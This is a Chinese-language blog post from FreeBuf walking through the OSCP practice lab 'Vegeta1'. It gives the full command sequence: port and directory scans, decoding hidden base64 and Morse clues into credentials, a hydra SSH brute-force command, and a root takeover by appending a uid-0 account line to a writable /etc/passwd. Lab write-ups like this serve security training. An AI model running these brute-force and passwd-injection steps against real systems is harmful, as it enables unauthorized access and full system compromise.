freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

OSCP系列靶场-Esay-Vegeta1
杳若 2023-09-13 23:00:49 96019

总结

getwebshell: 目录扫描 → 发现音频 → 莫斯密码 → 解密得到账号密码 → ssh登录

提 权 思 路:history发现线索 →/etc/passwd属主权限 → 写入root权限的账号密码 → 登录提权

准备工作

  • 启动VPN
    获取攻击机IP →192.168.45.239

  • 启动靶机
    获取目标机器IP →192.168.172.73

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.172.73

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.172.73

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 > searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.172.73</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.172.73</span> -p 22
# 密码尝试
password > root

弱密码尝试失败

22-SSH弱口令爆破(待定)

如果没思路的话,准备sshroot账户爆破

80-HTTP端口的信息收集

访问http://192.168.172.73:80不是CMS我们直接从HTML隐藏信息收集开始

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
curl http://192.168.172.73:80

个人色彩浓厚,可能用户与King Vegeta有关

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.172.73:80 -x 302,403,404
dirb http://192.168.172.73:80


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点访问

发现新的入口/find_me

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# curl http://192.168.172.73/robots.txt
*
/find_me
/find_me/端点访问

发现是目录遍历

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# curl http://192.168.172.73/find_me/   

...
<h1>Index of /find_me</h1>
...

存在find_me.html


访问find_me.html发现提示Vegeta-1.0


尝试搜索msf没有任何收获
也对Vegeta是动漫角色,猜测是否是其他提示

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# searchsploit Vegeta                                 
Exploits: No Results
Shellcodes: No Results

查看HTML发现隐藏内容,是加密代码

curl http://192.168.172.73/find_me/find_me.html

/admin/端点

在该端点下发现一个php文件


访问无任何内容

其他端点

其他端点内容是空

find_me.html加密信息破解

因为看到了两个等号,猜测是bas64编码

echo 'aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElD.....GQUFBQUFFbEZUa1N1UW1DQw==' | base64 -d > main.txt

访问之后发现还是看不懂,在没有其他线索的情况下,推测存在二次加密


看起来两串代码差不多,尝试再次base64解密
这次解密之后发现开头是png内容看不懂,说明是图片格式


转换成图片进行查看

mv main1.txt main.jpg

打开发现是二维码

二维码本质上是url,利用二维码转url的工具
百度上搜了一个https://www.jzx.com/decode
得到了密码topshellv

Password : topshellv

信息再收集

尝试爆破获取的密码失败,决定利用更大的字典进行目录扫描

gobuster dir -u  http://192.168.172.73:80/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e > go.txt

爆破输出到go.txt发现一个新的端点

新端点/bulma/

访问发现得到了一个.wav格式内容


通常是音频文件


下载下来

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# wget 192.168.172.73/bulma/hahahaha.wav 
--2023-07-31 13:45:21--  http://192.168.172.73/bulma/hahahaha.wav
正在连接 192.168.172.73:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:236124 (231K) [audio/x-wav]
正在保存至: “hahahaha.wav”


浅浅的听了一下,本来以为是英文听不懂,结果就像暗号

对<(^-^)>谍战片的摩斯密码
访问https://morsecode.world/international/decoder/audio-decoder-adaptive.html将音频上传

// 得到了信息
U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )

漏洞利用-getwebshell

已知密码-SSH用户爆破(失败)

推测获取的密码可以登录ssh尝试爆破

# -L 指定账号字典 -P指定密码字典
hydra -L /usr/share/wordlists/metasploit/unix_passwords.txt -p topshellv -t 6 -vV 192.168.172.73 ssh -s 22

破译莫斯密码

22-SSH账号密码登录

将密码大致解密

U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )
------
user: trunkspassword:us3rsindollarssymbol
------猜测
user: trunks
password:us3r
sindollarssymbol

sindollarssymbol百度半天说的是sin dollars symbol


先不管获取账号密码之后利用SSH进行登录,发现错误

sudo ssh trunks<span class="label label-primary">@192.168.172.73</span> -p22
password > us3r

尝试替换成新加坡币符号将s替换为$

sudo ssh trunks<span class="label label-primary">@192.168.151.73</span> -p22
password > u$3r

成功登录 这里重启了一下靶场ip变成了192.168.151.73

内网遨游-getshell

FLAG1获取

trunks<span class="label label-primary">@Vegeta</span>:~$ find / -name local.txt 2>/dev/null
/home/trunks/local.txt
trunks<span class="label label-primary">@Vegeta</span>:~$ cat /home/trunks/local.txt
45274fd8969e954aa6a0416012e34589

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
trunks<span class="label label-primary">@Vegeta</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

trunks<span class="label label-primary">@Vegeta</span>:~$ uname -a
Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

trunks<span class="label label-primary">@Vegeta</span>:~$ id
uid=1000(trunks) gid=1000(trunks) groups=1000(trunks),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问https://gtfobins.github.io寻找

# 利用sudo -l寻找
trunks<span class="label label-primary">@Vegeta</span>:~$ sudo -l
-bash: sudo: command not found

发现不存在sudo

su弱密码尝试(失败)

su
password → root

列举出所有suid文件

如果发现u=s有东西的话 访问https://gtfobins.github.io寻找

# -perm 文件权限
trunks<span class="label label-primary">@Vegeta</span>:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/fusermount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 976 Aug  4  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
trunks<span class="label label-primary">@Vegeta</span>:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

trunks<span class="label label-primary">@Vegeta</span>:~$ history
    1  perl -le ‘print crypt(“Password<span class="label label-primary">@973″,”addedsalt”)’#CTL{n}</span>    2  perl -le 'print crypt("Password<span class="label label-primary">@973</span>","addedsalt")'
    3  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh]
    4  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
    5  ls
    6  su Tom
    7  ls -la
    8  cat .bash_history 
    9  sudo apt-get install vim
   10  apt-get install vim
   11  su root
   12  cat .bash_history 
   13  exit

确认/home目录下信息

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /home
total 12
drwxr-xr-x  3 trunks trunks 4096 Aug 12  2020 trunks

权限提升

可写etc/passwd提权

通过history的信息我们可以知道tom的密码应该是Password<span class="label label-primary">@973被写入到了/etc/passwd中,我们尝试切换用户

su Tom
→ Password<span class="label label-primary">@973#CTL{n}su</span>: user Tom does not exist

提示说Tom用户不存在

# 发现确实没有Tom
cat /etc/passwd | grep Tom

那么根据提示我是否可以写入/etc/passwd

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

提权成功

# 登录Tom账户
trunks<span class="label label-primary">@Vegeta</span>:~$ su Tom
Password: 
root<span class="label label-primary">@Vegeta</span>:/home/trunks# id
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@Vegeta</span>:/home/trunks# 

FLAG2获取

root<span class="label label-primary">@Vegeta</span>:/home/trunks# cat /root/proof.txt
3295b595dffaab97e16918dfbf4d11de


完结撒花~

后记

这个没仔细看的内容回来思考一下

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

显示了文件的权限为 -rw-r--r--,所有者为 trunks,所属组为 root
简称属于root组(属主) 之后看到这种情况要注意

学到了s$之间的替换与莫斯密码的破译

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 数据安全
本文为 杳若 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
OSCP靶场系列
杳若 LV.6
这家伙太懒了,还未填写个人描述!
  • 46 文章数
  • 28 关注者
记一个奇怪的万能密码
2024-01-24
OSCP系列靶场-Esay-Monitoring
2023-09-20
OSCP系列靶场-Intermediate-BTRSys2.1
2023-09-19
文章目录